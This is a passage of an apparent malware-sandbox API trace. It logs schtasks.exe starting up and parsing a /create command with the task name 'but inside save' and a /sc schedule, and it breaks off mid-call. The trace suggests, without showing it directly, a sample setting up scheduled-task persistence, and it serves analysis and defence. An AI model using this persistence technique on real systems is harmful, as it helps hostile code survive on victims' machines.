"xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 115 os_tid = 0xf00 [0131.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x27fd60 | out: lpSystemTimeAsFileTime=0x27fd60*(dwLowDateTime=0x1da26460, dwHighDateTime=0x1d8a92a)) [0131.937] GetCurrentProcessId () returned 0xefc [0131.937] GetCurrentThreadId () returned 0xf00 [0131.937] GetTickCount () returned 0x13866f2 [0131.937] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x27fd68 | out: lpPerformanceCount=0x27fd68*=2061080032495) returned 1 [0131.937] GetModuleHandleW (lpModuleName=0x0) returned 0xff120000 [0131.937] __set_app_type (_Type=0x1) [0131.937] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff14972c) returned 0x0 [0131.938] __wgetmainargs (in: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248, _DoWildCard=0, _StartInfo=0xff16125c | out: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248) returned 0 [0131.939] _onexit (_Func=0xff152ab0) returned 0xff152ab0 [0131.939] _onexit (_Func=0xff152ac4) returned 0xff152ac4 [0131.939] _onexit (_Func=0xff152afc) returned 0xff152afc [0131.939] _onexit (_Func=0xff152b58) returned 0xff152b58 [0131.939] _onexit (_Func=0xff152b80) returned 0xff152b80 [0131.939] _onexit (_Func=0xff152ba8) returned 0xff152ba8 [0131.939] _onexit (_Func=0xff152bd0) returned 0xff152bd0 [0131.939] _onexit (_Func=0xff152bf8) returned 0xff152bf8 [0131.940] _onexit (_Func=0xff152c20) returned 0xff152c20 [0131.940] _onexit (_Func=0xff152c48) returned 0xff152c48 [0131.940] _onexit (_Func=0xff152c70) returned 0xff152c70 [0131.940] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0131.940] WinSqmIsOptedIn () returned 0x0 [0131.941] GetProcessHeap () returned 0x3d0000 [0131.941] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3eb990 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0131.941] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0131.941] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0131.941] VerifyVersionInfoW (in: lpVersionInformation=0x27f520, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27f520) returned 1 [0131.941] GetProcessHeap () returned 0x3d0000 [0131.941] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3eb9b0 [0131.941] lstrlenW (lpString="") returned 0 [0131.941] GetProcessHeap () returned 0x3d0000 [0131.941] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x2) returned 0x3eb9d0 [0131.941] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5930 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3eb9f0 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5960 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5990 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e59c0 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e59f0 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3eba10 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5a20 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5a50 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5a80 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5ab0 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3eba30 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5ae0 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5b10 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5b40 [0131.942] GetProcessHeap () returned 0x3d0000 [0131.942] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5b70 [0131.942] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetProcessHeap () returned 0x3d0000 [0131.943] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5ba0 [0131.943] GetProcessHeap () returned 0x3d0000 [0131.943] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5bd0 [0131.943] GetProcessHeap () returned 0x3d0000 [0131.943] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5c00 [0131.943] GetProcessHeap () returned 0x3d0000 [0131.943] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5c30 [0131.943] GetProcessHeap () returned 0x3d0000 [0131.943] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5c60 [0131.943] GetProcessHeap () returned 0x3d0000 [0131.943] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3eba50 [0131.943] _memicmp (_Buf1=0x3eba50, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.943] GetProcessHeap () returned 0x3d0000 [0131.943] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x208) returned 0x3ebbf0 [0131.943] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3ebbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0131.943] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0131.945] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0131.945] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0131.946] GetProcessHeap () returned 0x3d0000 [0131.946] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x74e) returned 0x3ec1a0 [0131.946] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0131.946] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3ec1a0 | out: lpData=0x3ec1a0) returned 1 [0131.946] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0131.946] VerQueryValueW (in: pBlock=0x3ec1a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27f608, puLen=0x27f670 | out: lplpBuffer=0x27f608*=0x3ec53c, puLen=0x27f670) returned 1 [0131.950] _memicmp (_Buf1=0x3eba50, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.950] _vsnwprintf (in: _Buffer=0x3ebbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27f5e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0131.950] VerQueryValueW (in: pBlock=0x3ec1a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27f678, puLen=0x27f668 | out: lplpBuffer=0x27f678*=0x3ec368, puLen=0x27f668) returned 1 [0131.950] lstrlenW (lpString="schtasks.exe") returned 12 [0131.950] lstrlenW (lpString="schtasks.exe") returned 12 [0131.950] lstrlenW (lpString=".EXE") returned 4 [0131.950] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0131.952] lstrlenW (lpString="schtasks.exe") returned 12 [0131.952] lstrlenW (lpString=".EXE") returned 4 [0131.952] _memicmp (_Buf1=0x3eba50, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.953] lstrlenW (lpString="schtasks") returned 8 [0131.953] GetProcessHeap () returned 0x3d0000 [0131.953] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3e5d50 [0131.953] GetProcessHeap () returned 0x3d0000 [0131.953] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecab0 [0131.953] GetProcessHeap () returned 0x3d0000 [0131.953] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecae0 [0131.953] GetProcessHeap () returned 0x3d0000 [0131.953] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecb10 [0131.953] GetProcessHeap () returned 0x3d0000 [0131.953] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3eba70 [0131.953] _memicmp (_Buf1=0x3eba70, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.953] GetProcessHeap () returned 0x3d0000 [0131.953] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0xa0) returned 0x3ebff0 [0131.953] GetProcessHeap () returned 0x3d0000 [0131.953] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecb40 [0131.954] GetProcessHeap () returned 0x3d0000 [0131.954] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecb70 [0131.954] GetProcessHeap () returned 0x3d0000 [0131.954] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecba0 [0131.954] GetProcessHeap () returned 0x3d0000 [0131.954] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3eba90 [0131.954] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.954] GetProcessHeap () returned 0x3d0000 [0131.954] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x200) returned 0x3ed280 [0131.954] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0131.954] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0131.954] GetProcessHeap () returned 0x3d0000 [0131.954] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x30) returned 0x3e7a50 [0131.954] _vsnwprintf (in: _Buffer=0x3ebff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27f5e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0131.954] GetProcessHeap () returned 0x3d0000 [0131.954] GetProcessHeap () returned 0x3d0000 [0131.954] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec1a0) returned 1 [0131.955] GetProcessHeap () returned 0x3d0000 [0131.955] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ec1a0) returned 0x74e [0131.955] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec1a0 | out: hHeap=0x3d0000) returned 1 [0131.955] SetLastError (dwErrCode=0x0) [0131.955] GetThreadLocale () returned 0x409 [0131.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.955] lstrlenW (lpString="?") returned 1 [0131.955] GetThreadLocale () returned 0x409 [0131.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.956] lstrlenW (lpString="create") returned 6 [0131.956] GetThreadLocale () returned 0x409 [0131.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.956] lstrlenW (lpString="delete") returned 6 [0131.956] GetThreadLocale () returned 0x409 [0131.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.956] lstrlenW (lpString="query") returned 5 [0131.956] GetThreadLocale () returned 0x409 [0131.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.956] lstrlenW (lpString="change") returned 6 [0131.956] GetThreadLocale () returned 0x409 [0131.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.956] lstrlenW (lpString="run") returned 3 [0131.956] GetThreadLocale () returned 0x409 [0131.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.956] lstrlenW (lpString="end") returned 3 [0131.956] GetThreadLocale () returned 0x409 [0131.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.956] lstrlenW (lpString="showsid") returned 7 [0131.956] GetThreadLocale () returned 0x409 [0131.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.956] SetLastError (dwErrCode=0x0) [0131.956] SetLastError (dwErrCode=0x0) [0131.956] lstrlenW (lpString="/create") returned 7 [0131.956] lstrlenW (lpString="-/") returned 2 [0131.956] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.956] lstrlenW (lpString="?") returned 1 [0131.956] lstrlenW (lpString="?") returned 1 [0131.956] GetProcessHeap () returned 0x3d0000 [0131.957] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3ec1a0 [0131.957] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.957] GetProcessHeap () returned 0x3d0000 [0131.957] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0xa) returned 0x3ec1c0 [0131.957] lstrlenW (lpString="create") returned 6 [0131.957] GetProcessHeap () returned 0x3d0000 [0131.957] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3ec1e0 [0131.957] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.957] GetProcessHeap () returned 0x3d0000 [0131.957] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x14) returned 0x3ec200 [0131.957] _vsnwprintf (in: _Buffer=0x3ec1c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|?|") returned 3 [0131.957] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|create|") returned 8 [0131.957] lstrlenW (lpString="|?|") returned 3 [0131.957] lstrlenW (lpString="|create|") returned 8 [0131.957] SetLastError (dwErrCode=0x490) [0131.957] lstrlenW (lpString="create") returned 6 [0131.957] lstrlenW (lpString="create") returned 6 [0131.957] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.957] GetProcessHeap () returned 0x3d0000 [0131.957] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec1c0) returned 1 [0131.957] GetProcessHeap () returned 0x3d0000 [0131.957] RtlReAllocateHeap (Heap=0x3d0000, Flags=0xc, Ptr=0x3ec1c0, Size=0x14) returned 0x3ec220 [0131.957] lstrlenW (lpString="create") returned 6 [0131.957] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.957] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|create|") returned 8 [0131.957] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|create|") returned 8 [0131.957] lstrlenW (lpString="|create|") returned 8 [0131.957] lstrlenW (lpString="|create|") returned 8 [0131.958] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0131.958] SetLastError (dwErrCode=0x0) [0131.958] SetLastError (dwErrCode=0x0) [0131.958] SetLastError (dwErrCode=0x0) [0131.958] lstrlenW (lpString="/tn") returned 3 [0131.958] lstrlenW (lpString="-/") returned 2 [0131.958] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.958] lstrlenW (lpString="?") returned 1 [0131.958] lstrlenW (lpString="?") returned 1 [0131.958] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.958] lstrlenW (lpString="tn") returned 2 [0131.958] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.958] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|?|") returned 3 [0131.958] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tn|") returned 4 [0131.958] lstrlenW (lpString="|?|") returned 3 [0131.958] lstrlenW (lpString="|tn|") returned 4 [0131.958] SetLastError (dwErrCode=0x490) [0131.958] lstrlenW (lpString="create") returned 6 [0131.958] lstrlenW (lpString="create") returned 6 [0131.958] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.958] lstrlenW (lpString="tn") returned 2 [0131.958] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.958] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|create|") returned 8 [0131.958] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tn|") returned 4 [0131.958] lstrlenW (lpString="|create|") returned 8 [0131.959] lstrlenW (lpString="|tn|") returned 4 [0131.959] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0131.959] SetLastError (dwErrCode=0x490) [0131.959] lstrlenW (lpString="delete") returned 6 [0131.959] lstrlenW (lpString="delete") returned 6 [0131.959] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.959] lstrlenW (lpString="tn") returned 2 [0131.959] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.959] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|delete|") returned 8 [0131.959] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tn|") returned 4 [0131.959] lstrlenW (lpString="|delete|") returned 8 [0131.959] lstrlenW (lpString="|tn|") returned 4 [0131.959] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0131.959] SetLastError (dwErrCode=0x490) [0131.959] lstrlenW (lpString="query") returned 5 [0131.959] lstrlenW (lpString="query") returned 5 [0131.959] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.959] lstrlenW (lpString="tn") returned 2 [0131.959] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.959] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|query|") returned 7 [0131.959] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tn|") returned 4 [0131.959] lstrlenW (lpString="|query|") returned 7 [0131.959] lstrlenW (lpString="|tn|") returned 4 [0131.959] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0131.959] SetLastError (dwErrCode=0x490) [0131.959] lstrlenW (lpString="change") returned 6 [0131.960] lstrlenW (lpString="change") returned 6 [0131.960] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.960] lstrlenW (lpString="tn") returned 2 [0131.960] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.960] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|change|") returned 8 [0131.960] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tn|") returned 4 [0131.960] lstrlenW (lpString="|change|") returned 8 [0131.960] lstrlenW (lpString="|tn|") returned 4 [0131.960] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0131.960] SetLastError (dwErrCode=0x490) [0131.960] lstrlenW (lpString="run") returned 3 [0131.960] lstrlenW (lpString="run") returned 3 [0131.960] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.960] lstrlenW (lpString="tn") returned 2 [0131.960] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.960] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|run|") returned 5 [0131.960] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tn|") returned 4 [0131.960] lstrlenW (lpString="|run|") returned 5 [0131.960] lstrlenW (lpString="|tn|") returned 4 [0131.960] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0131.960] SetLastError (dwErrCode=0x490) [0131.960] lstrlenW (lpString="end") returned 3 [0131.960] lstrlenW (lpString="end") returned 3 [0131.960] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.960] lstrlenW (lpString="tn") returned 2 [0131.960] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.960] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|end|") returned 5 [0131.960] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tn|") returned 4 [0131.960] lstrlenW (lpString="|end|") returned 5 [0131.960] lstrlenW (lpString="|tn|") returned 4 [0131.961] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0131.961] SetLastError (dwErrCode=0x490) [0131.961] lstrlenW (lpString="showsid") returned 7 [0131.961] lstrlenW (lpString="showsid") returned 7 [0131.961] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.961] GetProcessHeap () returned 0x3d0000 [0131.961] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec220) returned 1 [0131.961] GetProcessHeap () returned 0x3d0000 [0131.961] RtlReAllocateHeap (Heap=0x3d0000, Flags=0xc, Ptr=0x3ec220, Size=0x16) returned 0x3ec220 [0131.961] lstrlenW (lpString="tn") returned 2 [0131.961] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.961] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|showsid|") returned 9 [0131.961] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|tn|") returned 4 [0131.961] lstrlenW (lpString="|showsid|") returned 9 [0131.961] lstrlenW (lpString="|tn|") returned 4 [0131.961] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0131.961] SetLastError (dwErrCode=0x490) [0131.961] SetLastError (dwErrCode=0x490) [0131.961] SetLastError (dwErrCode=0x0) [0131.961] lstrlenW (lpString="/tn") returned 3 [0131.961] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0131.961] SetLastError (dwErrCode=0x490) [0131.961] SetLastError (dwErrCode=0x0) [0131.961] lstrlenW (lpString="/tn") returned 3 [0131.961] GetProcessHeap () returned 0x3d0000 [0131.961] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x8) returned 0x3ec1c0 [0131.961] GetProcessHeap () returned 0x3d0000 [0131.961] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecbd0 [0131.961] SetLastError (dwErrCode=0x0) [0131.961] SetLastError (dwErrCode=0x0) [0131.961] lstrlenW (lpString="but inside save") returned 15 [0131.961] lstrlenW (lpString="-/") returned 2 [0131.961] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0131.961] SetLastError (dwErrCode=0x490) [0131.962] SetLastError (dwErrCode=0x490) [0131.962] SetLastError (dwErrCode=0x0) [0131.962] lstrlenW (lpString="but inside save") returned 15 [0131.962] StrChrIW (lpStart="but inside save", wMatch=0x3a) returned 0x0 [0131.962] SetLastError (dwErrCode=0x490) [0131.962] SetLastError (dwErrCode=0x0) [0131.962] lstrlenW (lpString="but inside save") returned 15 [0131.962] GetProcessHeap () returned 0x3d0000 [0131.962] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecc00 [0131.962] GetProcessHeap () returned 0x3d0000 [0131.962] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecc30 [0131.962] SetLastError (dwErrCode=0x0) [0131.962] SetLastError (dwErrCode=0x0) [0131.962] lstrlenW (lpString="/sc") returned 3 [0131.962] lstrlenW (lpString="-/") returned 2 [0131.962] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.962] lstrlenW (lpString="?") returned 1 [0131.962] lstrlenW (lpString="?") returned 1 [0131.962] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.962] lstrlenW (lpString="sc") returned 2 [0131.962] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.962] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|?|") returned 3 [0131.962] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|sc|") returned 4 [0131.962] lstrlenW (lpString="|?|") returned 3 [0131.962] lstrlenW (lpString="|sc|") returned 4 [0131.962] SetLastError (dwErrCode=0x490) [0131.962] lstrlenW (lpString="create") returned 6 [0131.962] lstrlenW (lpString="create") returned 6 [0131.962] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.962] lstrlenW (lpString="sc") returned 2 [0131.962] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.962] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|create|") returned 8 [0131.962] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|sc|") returned 4 [0131.962] lstrlenW (lpString="|create|") returned 8 [0131.962] lstrlenW (lpString="|sc|") returned 4 [0131.962] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0131.962] SetLastError (dwErrCode=0x490) [0131.963] lstrlenW (lpString="delete") returned 6 [0131.963] lstrlenW (lpString="delete") returned 6 [0131.963] _memicmp 